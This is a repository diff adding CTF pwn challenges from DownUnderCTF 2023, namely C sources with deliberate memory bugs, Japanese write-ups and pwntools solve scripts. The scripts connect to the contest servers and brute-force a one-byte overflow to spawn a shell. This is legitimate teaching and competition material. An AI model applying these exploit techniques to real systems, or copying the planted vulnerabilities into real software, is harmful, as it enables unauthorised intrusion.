Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added pwn/.DS_Store
Binary file not shown.
Binary file added pwn/DownUnderCTF2023/confusing/.DS_Store
Binary file not shown.
Binary file added pwn/DownUnderCTF2023/confusing/dist/confusing
Binary file not shown.
34 changes: 34 additions & 0 deletions pwn/DownUnderCTF2023/confusing/dist/confusing.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int main() {
init();

short d;
double f;
char s[4];
int z;

printf("Give me d: ");
scanf("%lf", &d);

printf("Give me s: ");
scanf("%d", &s);

printf("Give me f: ");
scanf("%8s", &f);

printf("%hd %lf %4s %d\n", d, f, s, z);

if(z == -1 && d == 13337 && f == 1.6180339887 && strncmp(s, "FLAG", 4) == 0) {
system("/bin/sh");
} else {
puts("Still confused?");
}
}
6 changes: 6 additions & 0 deletions pwn/DownUnderCTF2023/confusing/solve/solve.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
scanfのフォーマット指定子がぐちゃぐちゃになっているという問題.
しかし,引数のポインタから該当のフォーマット指定子のバイト分だけ書き込まれるので,それに注意して適切な入力を与えれば良い.

また,z = -1にする必要があるにも関わらず,zに対する入力はない.
しかし,バイナリを解析した以下の結果などを見ると,dに連続した次の領域にzの領域があることがわかる.
また,dはshortゆえ2バイト,zはintゆえ4バイトであり,dの入力に対するフォーマット指定子は"%lf", つまり8ビットであるため,zについてもここで-1に書き換えることが可能である.
14 changes: 14 additions & 0 deletions pwn/DownUnderCTF2023/confusing/solve/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
from pwn import *

elf = ELF('../dist/confusing')
host = '2023.ductf.dev'
port = 30024
io = remote(host, port)
#io = process(elf.path)
#context.binary = elf

io.sendlineafter(b'Give me d: ', str(struct.unpack('d', p16(13337) + b'\xff\xff\xff\xff\xff\xfe')[0]).encode())
io.sendlineafter(b"Give me s: ", str(u32(b'FLAG')).encode())
io.sendlineafter(b"Give me f: ", struct.pack('d', 1.6180339887))

io.interactive()
Binary file not shown.
36 changes: 36 additions & 0 deletions pwn/DownUnderCTF2023/downunderflow/dist/downunderflow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_LEN 6
#define NUM_USERS 8
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" };

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int read_int_lower_than(int bound) {
int x;
scanf("%d", &x);
if(x >= bound) {
puts("Invalid input!");
exit(1);
}
return x;
}

int main() {
init();

printf("Select user to log in as: ");
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
printf("Logging in as %s\n", logins[idx]);
if(strncmp(logins[idx], "admin", 5) == 0) {
puts("Welcome admin.");
system("/bin/sh");
} else {
system("/bin/date");
}
}
13 changes: 13 additions & 0 deletions pwn/DownUnderCTF2023/downunderflow/solve/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
logins配列に対して,入力されたインデックスの値が"admin"となるようにする問題.
つまり,main関数内の変数indexが7となれば良い.

そこで,入力を受け付けいているread_int_lower_than関数に注目する.
しかし,ここではNUM_USERS-1 = 7以上の値が入力されると,プログラム終了してしまう.

```
unsigned short idx = read_int_lower_than(NUM_USERS - 1);
```
そこで以上の箇所に注目すると,関数read_int_lower_thanの返り値の型がintである一方,関数main内で定義されている変数idxの型はunsigned shortであることがわかる.
つまり,idxは0から65535の範囲であり,mod 65536を取った値に変換される.

そこで,7未満であり,かつ65536でmodを取ると7になる数字を入力すれは良い.(-65529など)
Binary file added pwn/DownUnderCTF2023/onebyte/dist/onebyte
Binary file not shown.
23 changes: 23 additions & 0 deletions pwn/DownUnderCTF2023/onebyte/dist/onebyte.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void win() {
system("/bin/sh");
}

int main() {
init();

printf("Free junk: 0x%lx\n", init);
printf("Your turn: ");

char buf[0x10];
read(0, buf, 0x11);
}
74 changes: 74 additions & 0 deletions pwn/DownUnderCTF2023/onebyte/solve/solve.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
まず配布ファイルについて確認する.
```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
checksecの結果より,本バイナリは32ビットであり,canaryは無効であるが,PIEが有効であることが確認できる.加えてASLRも有効になっています.

また,ソースコードをみたり,バイナリを実行すると以下の点に気づく.
- initのアドレスがリークされている
- read関数において,bufのサイズより1バイト分だけ多く読み込んでいる
- win関数に飛ばせばシェルを取れる

1バイトのオーバーフローしただけでは,リターンアドレスを書き換えられないどころか,ebpの書き換えすらできない.しかし,問題文からもわかるように,ここが問題のポイントであり,何ができるかを考える.

まずはオーバーフローしている1バイトはどこのアドレスになるのかを調べてみる.
そこで,逆アセンブリをしてmain関数の先頭をみて,bufの含まれるスタックの様子を確認する.
```
0000122e <main>:
122e: 8d 4c 24 04 lea 0x4(%esp),%ecx
1232: 83 e4 f0 and $0xfffffff0,%esp
1235: ff 71 fc pushl -0x4(%ecx)
1238: 55 push %ebp
1239: 89 e5 mov %esp,%ebp
123b: 53 push %ebx
123c: 51 push %ecx
123d: 83 ec 10 sub $0x10,%esp
1240: e8 7b fe ff ff call 10c0 <__x86.get_pc_thunk.bx>
```
上は,main関数の先頭のアセンブリである.
普通ならebpをスタックに詰んだり,espを使用する領域分だけ引けば十分のはずだが,ebxやecxもスタックに積んでいる.

一方,main関数の末尾にも注目してみる.
```
128b: 83 c4 10 add $0x10,%esp
128e: b8 00 00 00 00 mov $0x0,%eax
1293: 8d 65 f8 lea -0x8(%ebp),%esp
1296: 59 pop %ecx
1297: 5b pop %ebx
1298: 5d pop %ebp
1299: 8d 61 fc lea -0x4(%ecx),%esp
129c: c3 ret
```
ここから,ret命令でのジャンプ先のアドレスが
```
%esp = %ecx - 0x4
```
の先示すメモリの内容である.
なんだか,%ecxが関係ありそうな雰囲気がわかります.

ここで一度スタックの中身を整理してみます.

| アドレス | 中身 |
| ---- | ----|
| ebp - 0x4 | ecx - 0x4 |
| ebp - 0x8 | ebp |
| ebp - 0xc | ebx |
| ebp - 0x10 | ecx |
| ebp - 0x20 | buf |

つまり,オーバーフローした1バイトはecxの下位ビットであることがわかります.(リトルエンディアンなので)

ということで,以上を整理すると以上のことがわかります.
- ecx-0x4の指し示す内容のアドレスにリターンする
- ecxの末尾1ビットのみを書き換えることができる.
- ecxの部分には元々esp-0x4が積まれている(アセンブリ0x122eより)
- initのアドレスリークからwinのアドレスは求めることができる

ということでbufにwinのアドレスを書いておき,ecxを書き換え該当のアドレスを参照させ,winに処理を飛ばすことで攻撃が成功しそうです.

ここで最後に1つ問題があります.それは,ASLRによりecx-0x4が指し示すべきスタックのアドレスが毎回変化してしまい,わからないということです.
ここについては,書き換える1バイトの値を固定しておき,うまくそのアドレスと合致するまで実行すれば良いでしょう.ただし,アライメントを考えて4の倍数の値で固定することに注意です.
38 changes: 38 additions & 0 deletions pwn/DownUnderCTF2023/onebyte/solve/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
from pwn import *

elf = ELF('../dist/onebyte')
host = '2023.ductf.dev'
port = 30018

context.binary = elf

# initとwinのアドレスの差分
diff = 0x1203 - 0x11bd

while True:
io = remote(host, port)
#io = process(elf.path)

# initのアドレスを取得
io.recvuntil(b'Free junk: ')
init_addr = int(io.recvline().strip(), 16)
win_addr = init_addr + diff

# bufの分の内容
paylaod = p32(win_addr) * 4
# オーバーフローの1バイト分
paylaod += b'\x20'

io.sendafter(b'Your turn: ', paylaod)

try:
io.sendline(b'cat flag.txt')
flag = io.recvline()
if b'DUCTF' in flag:
print(flag)
io.interactive()
break
except:
io.close()


Binary file added pwn/seccon_beginners_2023/.DS_Store
Binary file not shown.
Binary file not shown.
9 changes: 9 additions & 0 deletions pwn/seccon_beginners_2023/Elementary_ROP/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Elementary\_ROP
> スタックやレジスタの状態を想像しながらやってみよう
>
> nc elementary-rop.beginners.seccon.games 9003
>
> Elementary\_ROP.tar.gz d92bf2deec1cc25264ef3701aed66093ee052476

# Solution
[Writeup](./solve/writeup.md)
Binary file not shown.
Binary file modified pwn/seccon_beginners_2023/poem/solve/.DS_Store
Binary file not shown.
Binary file added pwn/sekai_ctf2023/.DS_Store
Binary file not shown.
Binary file added pwn/sekai_ctf2023/Network Tools/.DS_Store
Binary file not shown.
Loading